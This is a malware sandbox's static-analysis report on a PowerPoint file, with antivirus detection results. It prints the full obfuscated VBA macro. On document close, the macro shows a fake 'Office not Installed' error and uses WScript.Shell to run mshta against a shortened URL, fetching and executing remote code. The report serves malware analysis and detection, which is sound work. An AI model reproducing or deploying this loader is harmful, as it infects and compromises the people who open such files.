popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "Module1"
Function Auto_Close() As String
Set konhaitu = GetObject("" + "n" + "e" + "w" + ":" + "F93" + "5" + "D" + "C" + "2" + "2" + "-" + "1" + "C" + "F" + "0-1" + "1" + "D" + "0" + "-" + "A" + "D" + "B" + "9" + "-" + "00C04" + "FD" + "5" + "8" + "A" + "0" + "B")
: MsgBox "Office not Installed Error!!!"
: konhaitu.EXEC pings
End Function



Function THE() As String
THE = "b" + "i" + "t" + "l" + "y" + "." + ""
End Function
Function THE2() As String
THE2 = "c" + "" + "" + "" + "" + "" + "" + "" + "" + "" + "" + "" + "" + "" + ""
End Function
Function THE23() As String
THE23 = "o" + "m" + "/"
End Function
Function XX() As String
XX = "qtyiwedhjkabdhsagbdhnsavbd"
End Function
Function F() As String
F = " H" + DT + DTX + L + "://" + THE + THE2 + THE23 + XX
End Function
Function pings() As String
pings = XU + YP + ZX + DTX + E + F
End Function
Function L() As String
L = "p"
End Function
Function XU() As String
XU = "m"
End Function
Function YP() As String
YP = "s"
End Function
Function ZX() As String
ZX = "h"
End Function
Function DT() As String
DT = "t"
End Function
Function DTX() As String
DTX = "t"
End Function
Function E() As String
E = "a"
End Function

Deobfuscated

                                        Attribute VB_Name = "Module1"
Function Auto_Close() As String
Set konhaitu = GetObject("" + "n" + "e" + "w" + ":" + "F93" + "5" + "D" + "C" + "2" + "2" + "-" + "1" + "C" + "F" + "0-1" + "1" + "D" + "0" + "-" + "A" + "D" + "B" + "9" + "-" + "00C04" + "FD" + "5" + "8" + "A" + "0" + "B")
: MsgBox "Office not Installed Error!!!"
: konhaitu.EXEC pings
End Function



Function THE() As String
THE = "b" + "i" + "t" + "l" + "y" + "." + ""
End Function
Function THE2() As String
THE2 = "c" + "" + "" + "" + "" + "" + "" + "" + "" + "" + "" + "" + "" + "" + ""
End Function
Function THE23() As String
THE23 = "o" + "m" + "/"
End Function
Function XX() As String
XX = "qtyiwedhjkabdhsagbdhnsavbd"
End Function
Function F() As String
F = " H" + DT + DTX + L + "://" + THE + THE2 + THE23 + XX
End Function
Function pings() As String
pings = XU + YP + ZX + DTX + E + F
End Function
Function L() As String
L = "p"
End Function
Function XU() As String
XU = "m"
End Function
Function YP() As String
YP = "s"
End Function
Function ZX() As String
ZX = "h"
End Function
Function DT() As String
DT = "t"
End Function
Function DTX() As String
DTX = "t"
End Function
Function E() As String
E = "a"
End Function
Module1
ID="{00000000-0000-0000-0000-000000000000}"
Module=Module1
HelpFile=""
Name="THEMAN"
HelpContextID="0"
Description="THEMAN"
VersionCompatible32="393222000"
CMG="87852BD0ED50CA54CA54CE58CE58"
DPB="686AC40BE10BE1F41F0CE1FFF84112BF91441A5FDF6C50B5C02BA89836E2E5278B24F43C"
GC="494BE5F6E6F6E6F6"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
Module1=64, 64, 1319, 707,
PowerPoint
Win64x
Project1
stdole
VBAProject
Office
Module1b
_Evaluate
pings{
Auto_Closew
meinkonhun
GetObjectz
MsgBox
EXECzy
_B_var_meinkonhun*
listen1X
madar29
fakir4
meinkonhun1
hogyaknaiUK
_B_var_listen1
_B_var_madar2
_B_var_janu3
_B_var_janu4
_B_var_Yamin
_B_var_hogyaknai
konhaituB+
_B_var_konhaitu
_B_var_pingH
_B_var_D
THE23Ie
THEMAN
THEMANq
Module1
VBAProject
C:\Program Files (x86)\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL
C:\Program Files (x86)\Microsoft Office\root\Office16\MSPPT.OLB
PowerPoint
C:\Windows\SysWOW64\stdole2.tlb
stdole
C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\MSO.DLL
Office
Auto_Close
VBE7.DLL
THEMAN
THEMADN
9stdol
{0002043
0046}#2.
0#0#C:\W
indows\S
ysWOW64\
e2.tlb#O
LE Autom
E Offic
E2DF8D
04C-5BFA
-101B-BD
EProgra
m Files
(x86)\Co
crosoft
Shared\O
FFICE16\
MSO.DLL#
P 16.0
Object L
ibrary
Modu@le1G
tly.coi
Office not Installed Error!!!
qtyiwedhjkabdhsagbdhnsavbd'
Attribut
e VB_Nam
e = "Mod
unction
Auto_Clo
se() As
t konhai
tGetOb
ject("" P+ "n
00hC04
: MsgBox
"Office
not Ins
talled E
rror!!!
.EXEC
/IW/XX
tyiwedhj
kabdhsag
nsavbdW
A_+ -@
Widescreen
Calibri
Calibri Light
Office Theme
Fonts Used
Slide Titles
PVC PIPES
PVC PIPES
Admin MPC
PVC PIPES
support
Microsoft Office PowerPoint
Root Entry
PROJECT
PROJECTwm
1Module1
Module1
__SRP_0
__SRP_1
__SRP_2
__SRP_3
_VBA_PROJECT
SummaryInformation
*\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\Program Files (x86)\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL#Visual Basic For Applications
*\G{91493440-5A91-11CF-8700-00AA0060263B}#2.c#0#C:\Program Files (x86)\Microsoft Office\root\Office16\MSPPT.OLB#Microsoft PowerPoint 16.0 Object Library
*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\SysWOW64\stdole2.tlb#OLE Automation
*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\MSO.DLL#Microsoft Office 16.0 Object Library
THEMAN
Module1
1E6353566d
Module1
sjahsajkhskaj
Office not Installed
Office not Installed Error!!!
gyduiahsdjkashdjk
hdjkalsdkaabdjkahka
quiwdbhjkasgbdmkanbd
qhuiwkhdaksdhkjasbdkja
gwqbsdgajdgbhmsabda
yuiwqhdebjkagbdhsabdhmas
uiwqhdebkjsbdghsadjahsgdj
geyiqwyjkdaghsdgbahmsvashdgvba
teyiqwbhsadjkbasmkjdksa
qyudoialjbnsdjkahsdkjahsbad
tyeuiqwhdjkasbdhgsad
qtyiwedhjkabdhsagbdhnsavbd2
$*\Rffff*1E6353566d
*\R0*#17
DocumentSummaryInformation
Antivirus Signature
Bkav Clean
Lionic Trojan.Script.Generic.a!c
ClamAV Clean
CMC Clean
CAT-QuickHeal Clean
ALYac VB:Trojan.Valyria.4194
Malwarebytes Clean
VIPRE Clean
Sangfor Malware.Generic-VBA.Save.Obfuscated
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
Cyren PP97M/Agent.TP.gen!Eldorado
Symantec CL.Downloader!gen87
ESET-NOD32 a variant of VBA/TrojanDownloader.Agent.VVQ
Baidu Clean
TrendMicro-HouseCall TROJ_FRS.VSNTJ521
Avast Clean
Cynet Clean
Kaspersky HEUR:Trojan-Downloader.Script.Generic
BitDefender VB:Trojan.Valyria.4194
NANO-Antivirus Clean
SUPERAntiSpyware Clean
MicroWorld-eScan VB:Trojan.Valyria.4194
Tencent Win32.Trojan-downloader.Agent.Eddq
Ad-Aware VB:Trojan.Valyria.4194
Sophos Clean
Comodo Clean
F-Secure Clean
DrWeb Clean
Zillya Clean
TrendMicro Clean
McAfee-GW-Edition Clean
FireEye VB:Trojan.Valyria.4194
Emsisoft VB:Trojan.Valyria.4194 (B)
SentinelOne Clean
GData VB:Trojan.Valyria.4194
Jiangmin Clean
Avira Clean
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Arcabit VB:Trojan.Valyria.D1062
ViRobot Clean
ZoneAlarm Clean
Microsoft Clean
TACHYON Clean
AhnLab-V3 Clean
Acronis Clean
McAfee RDN/Generic Downloader.x
MAX malware (ai score=89)
VBA32 Clean
Zoner Clean
Rising Clean
Yandex Clean
Ikarus Win32.Outbreak
MaxSecure Clean
Fortinet Clean
Panda Clean
No IRMA results available.